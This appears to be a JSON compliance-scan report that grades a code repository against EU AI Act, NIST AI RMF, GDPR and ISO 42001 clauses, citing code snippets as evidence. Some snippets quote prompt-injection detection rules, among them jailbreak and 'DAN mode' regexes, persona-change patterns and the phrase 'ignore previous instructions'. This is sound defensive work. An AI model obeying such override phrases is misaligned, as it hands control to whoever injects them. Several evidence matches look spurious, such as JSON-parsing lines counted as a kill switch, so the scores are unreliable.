value = data for part in field.split('.'): if isinstance(value, dict): value = value.get(part)","rule":"kill_switch"},{"file":"scripts/smoke-mvp.sh","lines":[20,20],"snippet":"print(\"\") raise SystemExit(0) try: data = json.loads(payload) except Exception: print(\"\") raise SystemExit(0) value = data f","rule":"kill_switch"},{"file":"scripts/smoke-mvp.sh","lines":[25,25],"snippet":"print(\"\") raise SystemExit(0) value = data for part in sys.argv[1].split('.'): if isinstance(value, dict): value = value.get","rule":"kill_switch"}],"rules":[{"rule":"override_path_present","matched":0.9,"weight":0.6},{"rule":"decisions_are_addressable","matched":0,"weight":0.4}],"rationale":"Composite raw score 0.54 (1/2 rules matched).","confidence":1,"needsLlmJudge":true,"verified":true,"verifyMethod":"skipped"},{"clauseId":"eu-ai-act/art-15/p1-accuracy","regulationId":"eu-ai-act-2024-08","article":"15(1)","title":"Appropriate level of accuracy declared and tested","principle":"safety","verdict":"partial","score":2,"rawScore":0.55,"evidence":[{"file":"tests/","rule":"eval_suite_present"},{"file":"README.md","rule":"metrics_documented"}],"rules":[{"rule":"eval_suite_present","matched":0.5,"weight":0.5},{"rule":"metrics_documented","matched":1,"weight":0.3},{"rule":"eval_in_ci","matched":0,"weight":0.2}],"rationale":"Composite raw score 0.55 (2/3 rules matched).","confidence":1,"needsLlmJudge":true,"verified":true,"verifyMethod":"skipped"},{"clauseId":"eu-ai-act/art-15/p4-robustness","regulationId":"eu-ai-act-2024-08","article":"15(4)","title":"Resilience to errors, faults, inconsistencies","principle":"safety","verdict":"fail","score":0,"rawScore":0,"evidence":[],"rules":[{"rule":"error_handling_at_tool_boundaries","matched":0,"weight":0.4},{"rule":"retry_logic","matched":0,"weight":0.3},{"rule":"fallback_behaviour","matched":0,"weight":0.3}],"rationale":"Composite raw score 0.00 (0/3 rules matched).","confidence":0.65,"needsLlmJudge":false,"verified":true,"verifyMethod":"deterministic-only"},{"clauseId":"eu-ai-act/art-15/p5-cybersecurity","regulationId":"eu-ai-act-2024-08","article":"15(5)","title":"Cybersecurity measures appropriate to circumstances","principle":"security-governance","verdict":"partial","score":2,"rawScore":0.6000000000000001,"evidence":[{"file":"crates/symbiotic-firewall/src/heuristics/delimiters.rs","lines":[3,3],"snippet":"detection. //! //! Prompt-injection attacks often lean on **delimiter confusion** — nesting //! code fences, mixing Markdown and XML, stuff","rule":"prompt_injection_defence"},{"file":"crates/symbiotic-firewall/src/heuristics/injection_phrases.rs","lines":[1,1],"snippet":"//! Classic prompt-injection phrase + role-token detection. //! //! Rules here are deliberately conservative — every regex is review","rule":"prompt_injection_defence"},{"file":"crates/symbiotic-firewall/src/heuristics/injection_phrases.rs","lines":[81,81],"snippet":"\\b(developer\\s+mode|jailbreak|dan\\s+mode|sudo\\s+mode)\\b\")); static NEW_PERSONA: Lazy<Regex> = Lazy::new(|| ci(r\"\\byour\\s+(new|real|true","rule":"prompt_injection_defence"},{"file":"crates/symbiotic-firewall/src/heuristics/mod.rs","lines":[1,1],"snippet":"//! Prompt-injection heuristics used by Stage B. //! //! All heuristics return a `Vec<HeuristicHit>`. Stage B combines the h","rule":"prompt_injection_defence"},{"file":"crates/symbiotic-firewall/src/heuristics/mod.rs","lines":[10,10],"snippet":"r the classic //! prompt-injection surface (\"ignore previous instructions\", role tokens, //! tool-call impersonation). //! - [`delimiter","rule":"prompt_injection_defence"},{"file":"crates/symbiotic-firewall/src/lib.rs","lines":[10,10],"snippet":"n) + Stage B //! (prompt-injection heuristics) + scan cache ([`stages`], [`sanitize`], //! [`heuristics`], [`cache`]). //! - **T132 §04*","rule":"prompt_injection_defence"},{"file":"crates/symbiotic-firewall/src/llm_gateway.rs","lines":[64,64],"snippet":"per /// design §7 (`RateLimited` / `Unavailable` → `SUSPICIOUS`). We intentionally /// keep this enum small and typed so the mapping is exha","rule":"rate_limit_usage"},{"file":"crates/symbiotic-firewall/src/llm_gateway.rs","lines":[72,72],"snippet":"limited: {0}\")] RateLimited(String), /// Model or runtime is temporarily unavailable (health check failing, /// circuit breaker","rule":"rate_limit_usage"},{"file":"crates/symbiotic-firewall/src/llm_gateway.rs","lines":[150,150],"snippet":"rr(LlmGatewayError::RateLimited(\"quota exceeded\".into())), }; let err = gw .invoke_fast_tier(FastTierRequest {","rule":"rate_limit_usage"},{"file":"crates/symbiotic-firewall/src/llm_gateway.rs","lines":[159,159],"snippet":"r, LlmGatewayError::RateLimited(_))); } }","rule":"rate_limit_usage"},{"file":"crates/symbiotic-firewall/src/stages/stage_c.rs","lines":[25,25],"snippet":"//! //! - Gateway `RateLimited` / `Unavailable` → `SUSPICIOUS` fallback with a //! 5 min cache TTL (design §7). //! - Malformed model res","rule":"rate_limit_usage"},{"file":"crates/symbiotic-firewall/src/stages/stage_c.rs","lines":[188,188],"snippet":"LlmGatewayError::RateLimited(reason) => { format!(\"fast-tier gateway rate-limited: {reason}\") } LlmGatewayErr","rule":"rate_limit_usage"}],"rules":[{"rule":"prompt_injection_defences","matched":1,"weight":0.4},{"rule":"rate_limiting","matched":1,"weight":0.2},{"rule":"secrets_not_in_prompts","matched":0,"weight":0.2},{"rule":"adversarial_eval_present","matched":0,"weight":0.2}],"rationale":"Composite raw score 0.60 (2/4 rules matched).","confidence":1,"needsLlmJudge":true,"verified":true,"verifyMethod":"skipped"},{"clauseId":"eu-ai-act/art-26/p6-keep-logs","regulationId":"eu-ai-act-2024-08","article":"26(6)","title":"Deployer log-retention capability supported","principle":"accountability","verdict":"partial","score":2,"rawScore":0.5,"evidence":[{"file":"scripts/auth/test-server/server.ts","lines":[121,121],"snippet":"e server is ready console.log(`READY:${port}`); });","rule":"log_at_tool_boundary"},{"file":"services/credential-gateway/src/script_registry.rs","lines":[353,353],"snippet":"::fs::write(&path, \"console.log('ok')\\n\").expect(\"write script\"); let mut reg = ScriptRegistry::empty(); reg.register(\"gith","rule":"log_at_tool_boundary"}],"rules":[{"rule":"logs_externally_exportable","matched":0.5,"weight":1}],"rationale":"Composite raw score 0.50 (1/1 rules matched). Supporting docs may exist outside the repo.","confidence":1,"needsLlmJudge":true,"verified":true,"verifyMethod":"skipped"},{"clauseId":"eu-ai-act/art-50/p1-ai-disclosure","regulationId":"eu-ai-act-2024-08","article":"50(1)","title":"Users informed they are interacting with an AI","principle":"transparency","verdict":"n/a","score":null,"rawScore":null,"evidence":[],"rules":[],"rationale":"Clause subject matter not detected — required signals [agent_framework] did not fire in this repo.","confidence":1,"needsLlmJudge":false,"verified":true,"verifyMethod":"deterministic-only"},{"clauseId":"eu-ai-act/art-50/p2-synthetic-content","regulationId":"eu-ai-act-2024-08","article":"50(2)","title":"AI-generated content marked as such, machine-readable","principle":"transparency","verdict":"fail","score":0,"rawScore":0,"evidence":[],"rules":[{"rule":"c2pa_or_watermark_library_imported","matched":0,"weight":0.5},{"rule":"provenance_metadata_written_to_outputs","matched":0,"weight":0.5}],"rationale":"Composite raw score 0.00 (0/2 rules matched).","confidence":0.6,"needsLlmJudge":false,"verified":true,"verifyMethod":"deterministic-only"},{"clauseId":"eu-ai-act/art-50/p3-emotion-biometric-disclosure","regulationId":"eu-ai-act-2024-08","article":"50(3)","title":"Emotion recognition / biometric categorisation disclosure","principle":"transparency","verdict":"fail","score":0,"rawScore":0,"evidence":[{"file":"README.md","rule":"emotion_or_biometric_disclosure_string"}],"rules":[{"rule":"emotion_or_biometric_disclosure_string","matched":0,"weight":1}],"rationale":"Composite raw score 0.00 (0/1 rules matched).","confidence":0.55,"needsLlmJudge":false,"verified":true,"verifyMethod":"deterministic-only"},{"clauseId":"eu-ai-act/art-50/p4-deepfake-disclosure","regulationId":"eu-ai-act-2024-08","article":"50(4)","title":"Deepfake content labelled as artificially generated","principle":"transparency","verdict":"fail","score":0,"rawScore":0,"evidence":[],"rules":[{"rule":"deepfake_label_on_outputs","matched":0,"weight":1}],"rationale":"Composite raw score 0.00 (0/1 rules matched).","confidence":0.55,"needsLlmJudge":false,"verified":true,"verifyMethod":"deterministic-only"},{"clauseId":"nist-ai-rmf/govern-1.4","regulationId":"nist-ai-rmf-1.0","article":"GOVERN 1.4","title":"Risk management process documented and accountable","principle":"accountability","verdict":"fail","score":0,"rawScore":0,"evidence":[],"rules":[{"rule":"presence_of_risk_register","matched":0,"weight":0.6},{"rule":"risk_owner_assignment","matched":0,"weight":0.4}],"rationale":"Composite raw score 0.00 (0/2 rules matched). Supporting docs may exist outside the repo.","confidence":0.6,"needsLlmJudge":false,"verified":true,"verifyMethod":"deterministic-only"},{"clauseId":"nist-ai-rmf/govern-1.5","regulationId":"nist-ai-rmf-1.0","article":"GOVERN 1.5","title":"Ongoing monitoring and periodic review of risk management","principle":"accountability","verdict":"fail","score":0,"rawScore":0,"evidence":[],"rules":[{"rule":"ci_eval_gates","matched":0,"weight":0.5},{"rule":"drift_monitoring_present","matched":0,"weight":0.5}],"rationale":"Composite raw score 0.00 (0/2 rules matched). Supporting docs may exist outside the repo.","confidence":0.6,"needsLlmJudge":false,"verified":true,"verifyMethod":"deterministic-only"},{"clauseId":"nist-ai-rmf/map-1.1","regulationId":"nist-ai-rmf-1.0","article":"MAP 1.1","title":"Context of use established and understood","principle":"auditability","verdict":"fail","score":1,"rawScore":0.15,"evidence":[{"file":"README.md","rule":"readme_quality","detail":"1 required sections present"},{"file":"README.md","rule":"output_interpretation_guidance"}],"rules":[{"rule":"intended_use_documented","matched":0.25,"weight":0.6},{"rule":"deployment_context_documented","matched":0,"weight":0.4}],"rationale":"Composite raw score 0.15 (0/2 rules matched). Supporting docs may exist outside the repo.","confidence":0.75,"needsLlmJudge":false,"verified":true,"verifyMethod":"deterministic-only"},{"clauseId":"nist-ai-rmf/map-3.4","regulationId":"nist-ai-rmf-1.0","article":"MAP 3.4","title":"Risks and benefits to people identified","principle":"safety","verdict":"fail","score":0,"rawScore":0,"evidence":[],"rules":[{"rule":"presence_of_risk_register","matched":0,"weight":0.6},{"rule":"presence_of_threat_model","matched":0,"weight":0.4}],"rationale":"Composite raw score 0.00 (0/2 rules matched). Supporting docs may exist outside the repo.","confidence":0.6,"needsLlmJudge":false,"verified":true,"verifyMethod":"deterministic-only"},{"clauseId":"nist-ai-rmf/measure-2.3","regulationId":"nist-ai-rmf-1.0","article":"MEASURE 2.3","title":"AI system performance evaluated and documented","principle":"safety","verdict":"partial","score":2,"rawScore":0.55,"evidence":[{"file":"tests/","rule":"eval_suite_present"},{"file":"README.md","rule":"metrics_documented"}],"rules":[{"rule":"eval_suite_present","matched":0.5,"weight":0.5},{"rule":"metrics_documented","matched":1,"weight":0.3},{"rule":"eval_in_ci","matched":0,"weight":0.2}],"rationale":"Composite raw score 0.55 (2/3 rules matched).","confidence":1,"needsLlmJudge":true,"verified":true,"verifyMethod":"skipped"},{"clauseId":"nist-ai-rmf/measure-2.7","regulationId":"nist-ai-rmf-1.0","article":"MEASURE 2.7","title":"Security and resilience evaluated","principle":"security-governance","verdict":"partial","score":2,"rawScore":0.6000000000000001,"evidence":[{"file":"crates/symbiotic-firewall/src/heuristics/delimiters.rs","lines":[3,3],"snippet":"detection. //! //! Prompt-injection attacks often lean on **delimiter confusion** — nesting //! code fences, mixing Markdown and XML, stuff","rule":"prompt_injection_defence"},{"file":"crates/symbiotic-firewall/src/heuristics/injection_phrases.rs","lines":[1,1],"snippet":"//! Classic prompt-injection phrase + role-token detection. //! //! Rules here are deliberately conservative — every regex is review","rule":"prompt_injection_defence"},{"file":"crates/symbiotic-firewall/src/heuristics/injection_phrases.rs","lines":[81,81],"snippet":"\\b(developer\\s+mode|jailbreak|dan\\s+mode|sudo\\s+mode)\\b\")); static NEW_PERSONA: Lazy<Regex> = Lazy::new(|| ci(r\"\\byour\\s+(new|real|true","rule":"prompt_injection_defence"},{"file":"crates/symbiotic-firewall/src/heuristics/mod.rs","lines":[1,1],"snippet":"//! Prompt-injection heuristics used by Stage B. //! //! All heuristics return a `Vec<HeuristicHit>`. Stage B combines the h","rule":"prompt_injection_defence"},{"file":"crates/symbiotic-firewall/src/heuristics/mod.rs","lines":[10,10],"snippet":"r the classic //! prompt-injection surface (\"ignore previous instructions\", role tokens, //! tool-call impersonation). //! - [`delimiter","rule":"prompt_injection_defence"},{"file":"crates/symbiotic-firewall/src/lib.rs","lines":[10,10],"snippet":"n) + Stage B //! (prompt-injection heuristics) + scan cache ([`stages`], [`sanitize`], //! [`heuristics`], [`cache`]). //! - **T132 §04*","rule":"prompt_injection_defence"},{"file":"crates/symbiotic-firewall/src/llm_gateway.rs","lines":[64,64],"snippet":"per /// design §7 (`RateLimited` / `Unavailable` → `SUSPICIOUS`). We intentionally /// keep this enum small and typed so the mapping is exha","rule":"rate_limit_usage"},{"file":"crates/symbiotic-firewall/src/llm_gateway.rs","lines":[72,72],"snippet":"limited: {0}\")] RateLimited(String), /// Model or runtime is temporarily unavailable (health check failing, /// circuit breaker","rule":"rate_limit_usage"},{"file":"crates/symbiotic-firewall/src/llm_gateway.rs","lines":[150,150],"snippet":"rr(LlmGatewayError::RateLimited(\"quota exceeded\".into())), }; let err = gw .invoke_fast_tier(FastTierRequest {","rule":"rate_limit_usage"},{"file":"crates/symbiotic-firewall/src/llm_gateway.rs","lines":[159,159],"snippet":"r, LlmGatewayError::RateLimited(_))); } }","rule":"rate_limit_usage"},{"file":"crates/symbiotic-firewall/src/stages/stage_c.rs","lines":[25,25],"snippet":"//! //! - Gateway `RateLimited` / `Unavailable` → `SUSPICIOUS` fallback with a //! 5 min cache TTL (design §7). //! - Malformed model res","rule":"rate_limit_usage"},{"file":"crates/symbiotic-firewall/src/stages/stage_c.rs","lines":[188,188],"snippet":"LlmGatewayError::RateLimited(reason) => { format!(\"fast-tier gateway rate-limited: {reason}\") } LlmGatewayErr","rule":"rate_limit_usage"}],"rules":[{"rule":"prompt_injection_defences","matched":1,"weight":0.4},{"rule":"adversarial_eval_present","matched":0,"weight":0.4},{"rule":"rate_limiting","matched":1,"weight":0.2}],"rationale":"Composite raw score 0.60 (2/3 rules matched).","confidence":1,"needsLlmJudge":true,"verified":true,"verifyMethod":"skipped"},{"clauseId":"nist-ai-rmf/measure-2.8","regulationId":"nist-ai-rmf-1.0","article":"MEASURE 2.8","title":"Privacy risk of the AI system evaluated","principle":"privacy","verdict":"partial","score":2,"rawScore":0.5,"evidence":[{"file":"crates/symbiotic-agents/src/executor.rs","lines":[18,18],"snippet":"symbiotic_context::redact_pii; /// Maximum number of iterations before the loop terminates. const MAX_ITERATIONS: usize = 10; /// Maximum","rule":"pii_redaction_present"},{"file":"crates/symbiotic-agents/src/executor.rs","lines":[79,79],"snippet":"/// Whether to redact PII from the agent's final output before returning. /// Defaults to `true`. Set to `false` for debugging or t","rule":"pii_redaction_present"},{"file":"crates/symbiotic-agents/src/executor.rs","lines":[81,81],"snippet":"scenarios. pub redact_output: bool, } impl Default for AgentExecConfig { fn default() -> Self { Self { system_","rule":"pii_redaction_present"},{"file":"crates/symbiotic-agents/src/executor.rs","lines":[93,93],"snippet":": None, redact_output: true, } } } /// Conditionally apply PII redaction to an execution result's output. fn maybe_","rule":"pii_redaction_present"},{"file":"crates/symbiotic-agents/src/executor.rs","lines":[98,98],"snippet":"itionally apply PII redaction to an execution result's output. fn maybe_redact(mut result: ExecutionResult, redact: bool) -> ExecutionResult","rule":"pii_redaction_present"},{"file":"crates/symbiotic-agents/src/pipeline/backend_native.rs","lines":[42,42],"snippet":"name)), redact_output: true, }; let goal = &phase.description; let tool_refs: Vec<&dyn Tool> = self.too","rule":"pii_redaction_present"}],"rules":[{"rule":"pii_redaction_present","matched":1,"weight":0.5},{"rule":"privacy_documentation","matched":0,"weight":0.5}],"rationale":"Composite raw score 0.50 (1/2 rules matched).","confidence":1,"needsLlmJudge":true,"verified":true,"verifyMethod":"skipped"},{"clauseId":"nist-ai-rmf/measure-2.11","regulationId":"nist-ai-rmf-1.0","article":"MEASURE 2.11","title":"Fairness and bias evaluated","principle":"fairness","verdict":"fail","score":0,"rawScore":0,"evidence":[],"rules":[{"rule":"bias_evaluation_present","matched":0,"weight":1}],"rationale":"Composite raw score 0.00 (0/1 rules matched).","confidence":0.55,"needsLlmJudge":false,"verified":true,"verifyMethod":"deterministic-only"},{"clauseId":"nist-ai-rmf/manage-2.3","regulationId":"nist-ai-rmf-1.0","article":"MANAGE 2.3","title":"Mechanisms to supersede or deactivate AI systems","principle":"human-oversight","verdict":"partial","score":2,"rawScore":0.54,"evidence":[{"file":"scripts/live-readiness.sh","lines":[98,98],"snippet":"print(\"\") raise SystemExit(0) try: data = json.loads(payload) except Exception: print(\"\") raise SystemExit(0) value = data f","rule":"kill_switch"},{"file":"scripts/live-readiness.sh","lines":[103,103],"snippet":"print(\"\") raise SystemExit(0) value = data for part in field.split('.'): if isinstance(value, dict): value = value.get(part)","rule":"kill_switch"},{"file":"scripts/smoke-mvp.sh","lines":[20,20],"snippet":"print(\"\") raise SystemExit(0) try: data = json.loads(payload) except Exception: print(\"\") raise SystemExit(0) value = data f","rule":"kill_switch"},{"file":"scripts/smoke-mvp.sh","lines":[25,25],"snippet":"print(\"\") raise SystemExit(0) value = data for part in sys.argv[1].split('.'): if isinstance(value, dict): value = value.get","rule":"kill_switch"}],"rules":[{"rule":"kill_switch_present","matched":0.9,"weight":0.6},{"rule":"feature_flag_for_disable","matched":0,"weight":0.4}],"rationale":"Composite raw score 0.54 (1/2 rules matched).","confidence":1,"needsLlmJudge":true,"verified":true,"verifyMethod":"skipped"},{"clauseId":"nist-ai-rmf/manage-4.1","regulationId":"nist-ai-rmf-1.0","article":"MANAGE 4.1","title":"Post-deployment monitoring, appeal and override, change management","principle":"auditability","verdict":"fail","score":1,"rawScore":0.33,"evidence":[{"file":"scripts/live-readiness.sh","lines":[98,98],"snippet":"print(\"\") raise SystemExit(0) try: data = json.loads(payload) except Exception: print(\"\") raise SystemExit(0) value = data f","rule":"kill_switch"},{"file":"scripts/live-readiness.sh","lines":[103,103],"snippet":"print(\"\") raise SystemExit(0) value = data for part in field.split('.'): if isinstance(value, dict): value = value.get(part)","rule":"kill_switch"},{"file":"scripts/smoke-mvp.sh","lines":[20,20],"snippet":"print(\"\") raise SystemExit(0) try: data = json.loads(payload) except Exception: print(\"\") raise SystemExit(0) value = data f","rule":"kill_switch"},{"file":"scripts/smoke-mvp.sh","lines":[25,25],"snippet":"print(\"\") raise SystemExit(0) value = data for part in sys.argv[1].split('.'): if isinstance(value, dict): value = value.get","rule":"kill_switch"}],"rules":[{"rule":"feedback_capture_present","matched":0,"weight":0.3},{"rule":"override_path_present","matched":0.9,"weight":0.3},{"rule":"structured_logging_imported","matched":0,"weight":0.2},{"rule":"versioning_visible","matched":0.3,"weight":0.2}],"rationale":"Composite raw score 0.33 (1/4 rules matched).","confidence":1,"needsLlmJudge":true,"verified":true,"verifyMethod":"skipped"},{"clauseId":"gdpr/art-5-principles","regulationId":"gdpr-2016","article":"5","title":"Principles relating to processing of personal data","principle":"transparency","verdict":"fail","score":0,"rawScore":0,"evidence":[],"rules":[{"rule":"presence_of_privacy_policy","matched":0,"weight":0.5},{"rule":"purpose_limitation_documented","matched":0,"weight":0.5}],"rationale":"Composite raw score 0.00 (0/2 rules matched). Supporting docs may exist outside the repo.","confidence":0.6,"needsLlmJudge":false,"verified":true,"verifyMethod":"deterministic-only"},{"clauseId":"gdpr/art-22-automated-decisions","regulationId":"gdpr-2016","article":"22","title":"Automated individual decision-making, including profiling","principle":"human-oversight","verdict":"fail","score":1,"rawScore":0.36000000000000004,"evidence":[{"file":"scripts/live-readiness.sh","lines":[98,98],"snippet":"print(\"\") raise SystemExit(0) try: data = json.loads(payload) except Exception: print(\"\") raise SystemExit(0) value = data f","rule":"appeal_or_override_mechanism"},{"file":"scripts/live-readiness.sh","lines":[103,103],"snippet":"print(\"\") raise SystemExit(0) value = data for part in field.split('.'): if isinstance(value, dict): value = value.get(part)","rule":"appeal_or_override_mechanism"},{"file":"scripts/smoke-mvp.sh","lines":[20,20],"snippet":"print(\"\") raise SystemExit(0) try: data = json.loads(payload) except Exception: print(\"\") raise SystemExit(0) value = data f","rule":"appeal_or_override_mechanism"},{"file":"scripts/smoke-mvp.sh","lines":[25,25],"snippet":"print(\"\") raise SystemExit(0) value = data for part in sys.argv[1].split('.'): if isinstance(value, dict): value = value.get","rule":"appeal_or_override_mechanism"}],"rules":[{"rule":"human_review_path_present","matched":0,"weight":0.6},{"rule":"appeal_or_override_mechanism","matched":0.9,"weight":0.4}],"rationale":"Composite raw score 0.36 (1/2 rules matched). Supporting docs may exist outside the repo.","confidence":0.9600000000000001,"needsLlmJudge":true,"verified":true,"verifyMethod":"skipped"},{"clauseId":"gdpr/art-25-by-design","regulationId":"gdpr-2016","article":"25","title":"Data protection by design and by default","principle":"privacy","verdict":"partial","score":2,"rawScore":0.5,"evidence":[{"file":"crates/symbiotic-agents/src/executor.rs","lines":[79,79],"snippet":"redact","rule":"pseudonymisation_or_anonymisation"},{"file":"crates/symbiotic-context/src/firewall.rs","lines":[76,76],"snippet":"redacted","rule":"pseudonymisation_or_anonymisation"},{"file":"crates/symbiotic-context/src/lib.rs","lines":[9,9],"snippet":"redaction","rule":"pseudonymisation_or_anonymisation"},{"file":"crates/symbiotic-context/src/redaction.rs","lines":[5,5],"snippet":"redaction","rule":"pseudonymisation_or_anonymisation"}],"rules":[{"rule":"pseudonymisation_or_anonymisation","matched":1,"weight":0.5},{"rule":"default_minimal_data_collection","matched":0,"weight":0.5}],"rationale":"Composite raw score 0.50 (1/2 rules matched). Supporting docs may exist outside the repo.","confidence":1,"needsLlmJudge":true,"verified":true,"verifyMethod":"skipped"},{"clauseId":"gdpr/art-30-records","regulationId":"gdpr-2016","article":"30","title":"Records of processing activities","principle":"auditability","verdict":"fail","score":0,"rawScore":0,"evidence":[],"rules":[{"rule":"presence_of_processing_register","matched":0,"weight":1}],"rationale":"Composite raw score 0.00 (0/1 rules matched). Supporting docs may exist outside the repo.","confidence":0.55,"needsLlmJudge":false,"verified":true,"verifyMethod":"deterministic-only"},{"clauseId":"gdpr/art-32-security","regulationId":"gdpr-2016","article":"32","title":"Security of processing","principle":"security-governance","verdict":"partial","score":2,"rawScore":0.5,"evidence":[{"file":"crates/symbiotic-agents/src/builtin_tools.rs","lines":[1349,1349],"snippet":"https://example.com","rule":"encryption_at_rest_or_transit"},{"file":"crates/symbiotic-agents/src/llm_runtime.rs","lines":[284,284],"snippet":"https://ollama.ai/download","rule":"encryption_at_rest_or_transit"},{"file":"crates/symbiotic-agents/src/source_archeology/contract.rs","lines":[213,213],"snippet":"https://gw.example/v1","rule":"encryption_at_rest_or_transit"},{"file":"crates/symbiotic-agents/src/source_archeology/scaffold_templates.rs","lines":[164,164],"snippet":"https://example.com/flux.git","rule":"encryption_at_rest_or_transit"}],"rules":[{"rule":"encryption_at_rest_or_transit","matched":1,"weight":0.5},{"rule":"access_control_enforcement","matched":0,"weight":0.5}],"rationale":"Composite raw score 0.50 (1/2 rules matched). Supporting docs may exist outside the repo.","confidence":1,"needsLlmJudge":true,"verified":true,"verifyMethod":"skipped"},{"clauseId":"gdpr/art-35-dpia","regulationId":"gdpr-2016","article":"35","title":"Data protection impact assessment (DPIA)","principle":"safety","verdict":"fail","score":0,"rawScore":0,"evidence":[],"rules":[{"rule":"presence_of_dpia","matched":0,"weight":1}],"rationale":"Composite raw score 0.00 (0/1 rules matched). Supporting docs may exist outside the repo.","confidence":0.55,"needsLlmJudge":false,"verified":true,"verifyMethod":"deterministic-only"},{"clauseId":"iso-42001/clause-5.1-leadership","regulationId":"iso-42001-2023","article":"5.1","title":"Leadership and commitment for AI management","principle":"accountability","verdict":"fail","score":0,"rawScore":0,"evidence":[],"rules":[{"rule":"presence_of_ai_policy","matched":0,"weight":0.7},{"rule":"leadership_signoff_evidence","matched":0,"weight":0.3}],"rationale":"Composite raw score 0.00 (0/2 rules matched). Supporting docs may exist outside the repo.","confidence":0.6,"needsLlmJudge":false,"verified":true,"verifyMethod":"deterministic-only"},{"clauseId":"iso-42001/clause-5.3-roles","regulationId":"iso-42001-2023","article":"5.3","title":"Roles, responsibilities and authorities","principle":"accountability","verdict":"fail","score":0,"rawScore":0,"evidence":[],"rules":[{"rule":"presence_of_raci_or_owners","matched":0,"weight":1}],"rationale":"Composite raw score 0.00 (0/1 rules matched). Supporting docs may exist outside the repo.","confidence":0.55,"needsLlmJudge":false,"verified":true,"verifyMethod":"deterministic-only"},{"clauseId":"iso-42001/clause-6.1-risk-assessment","regulationId":"iso-42001-2023","article":"6.1","title":"AI risk assessment process","principle":"safety","verdict":"fail","score":0,"rawScore":0,"evidence":[],"rules":[{"rule":"presence_of_risk_register","matched":0,"weight":0.6},{"rule":"risk_assessment_methodology_documented","matched":0,"weight":0.4}],"rationale":"Composite raw score 0.00 (0/2 rules matched). Supporting docs may exist outside the repo.","confidence":0.6,"needsLlmJudge":false,"verified":true,"verifyMethod":"deterministic-only"},{"clauseId":"iso-42001/clause-7.5-documented-information","regulationId":"iso-42001-2023","article":"7.5","title":"Documented information for the AI management system","principle":"auditability","verdict":"fail","score":1,"rawScore":0.2,"evidence":[{"file":"README.md","rule":"presence_of_versioned_docs"}],"rules":[{"rule":"presence_of_versioned_docs","matched":0.4,"weight":0.5},{"rule":"docs_changelog_present","matched":0,"weight":0.5}],"rationale":"Composite raw score 0.20 (0/2 rules matched). Supporting docs may exist outside the repo.","confidence":0.7999999999999999,"needsLlmJudge":false,"verified":true,"verifyMethod":"deterministic-only"},{"clauseId":"iso-42001/clause-8.1-operational-planning","regulationId":"iso-42001-2023","article":"8.1","title":"Operational planning and control","principle":"safety","verdict":"fail","score":0,"rawScore":0,"evidence":[],"rules":[{"rule":"presence_of_runbook","matched":0,"weight":0.5},{"rule":"presence_of_ci_workflows","matched":0,"weight":0.5}],"rationale":"Composite raw score 0.00 (0/2 rules matched). Supporting docs may exist outside the repo.","confidence":0.6,"needsLlmJudge":false,"verified":true,"verifyMethod":"deterministic-only"},{"clauseId":"iso-42001/clause-9.1-monitoring","regulationId":"iso-42001-2023","article":"9.1","title":"Monitoring, measurement, analysis and evaluation","principle":"auditability","verdict":"partial","score":2,"rawScore":0.5,"evidence":[{"file":"tests/","rule":"presence_of_eval_suite"},{"file":"scripts/auth/test-server/server.ts","lines":[121,121],"snippet":"e server is ready console.log(`READY:${port}`); });","rule":"structured_logging_present"},{"file":"services/credential-gateway/src/script_registry.rs","lines":[353,353],"snippet":"::fs::write(&path, \"console.log('ok')\\n\").expect(\"write script\"); let mut reg = ScriptRegistry::empty(); reg.register(\"gith","rule":"structured_logging_present"}],"rules":[{"rule":"presence_of_eval_suite","matched":0.5,"weight":0.5},{"rule":"structured_logging_present","matched":0.5,"weight":0.5}],"rationale":"Composite raw score 0.50 (2/2 rules matched). Supporting docs may exist outside the repo.","confidence":1,"needsLlmJudge":true,"verified":true,"verifyMethod":"skipped"},{"clauseId":"iso-42001/annex-a5-internal-org","regulationId":"iso-42001-2023","article":"A.5","title":"Internal organization controls","principle":"accountability","verdict":"fail","score":0,"rawScore":0,"evidence":[],"rules":[{"rule":"presence_of_codeowners","matched":0,"weight":1}],"rationale":"Composite raw score 0.00 (0/1 rules matched). Supporting docs may exist outside the repo.","confidence":0.55,"needsLlmJudge":false,"verified":true,"verifyMethod":"deterministic-only"},{"clauseId":"iso-42001/annex-a7-resources","regulationId":"iso-42001-2023","article":"A.7","title":"Resources for AI systems","principle":"security-governance","verdict":"partial","score":2,"rawScore":0.5,"evidence":[{"file":"Cargo.lock","rule":"dependency_pinning"}],"rules":[{"rule":"presence_of_security_policy","matched":0,"weight":0.5},{"rule":"dependency_pinning","matched":1,"weight":0.5}],"rationale":"Composite raw score 0.50 (1/2 rules matched). Supporting docs may exist outside the repo.","confidence":1,"needsLlmJudge":true,"verified":true,"verifyMethod":"skipped"}],"grade":{"overallScore":1.2127659574468086,"perRegulation":[{"regulationId":"eu-ai-act-2024-08","scoreAvg":1.608695652173913,"passCount":6,"partialCount":6,"failCount":11,"externalCount":1,"naCount":1},{"regulationId":"nist-ai-rmf-1.0","scoreAvg":1,"passCount":0,"partialCount":4,"failCount":6,"externalCount":0,"naCount":0},{"regulationId":"gdpr-2016","scoreAvg":0.8333333333333334,"passCount":0,"partialCount":2,"failCount":4,"externalCount":0,"naCount":0},{"regulationId":"iso-42001-2023","scoreAvg":0.625,"passCount":0,"partialCount":2,"failCount":6,"externalCount":0,"naCount":0}]},"bundleHash":"d8eeb73f4f12a19dc2acab548f63144aafa20e3ed48cbabd9c7824ad2ed4f969","checkerVersion":"v0.1.0","regulationsVersions":{"eu-ai-act-2024-08":"ee8568c60676d1c60c00393077dc7b9753628a16bb96049d6caa384b93516239","nist-ai-rmf-1.0":"b36616651114a74e212e4416e72f3d320d3ea46e1c93d7d3919cd44b5f71f762","gdpr-2016":"a650813378c93140abcbda864a7248289096abec98d57667cb0c0e2cba1bfe3f","iso-42001-2023":"3855f297eea17980b71d32e9d8c9f113c153c68e07b01fd442392fba4567755d"},"startedAt":"2026-05-20T19:41:16.249Z","completedAt":"2026-05-20T19:41:46.428Z","durationMs":30179,"externalControls":[{"clauseId":"eu-ai-act/art-5/1h-realtime-rbi","article":"5(1)(h)","title":"Real-time remote biometric identification in public spaces","note":"Deployment context (public space, real-time, law enforcement use, judicial\nauthorisation) is operational, not knowable from code. Always external."}]}}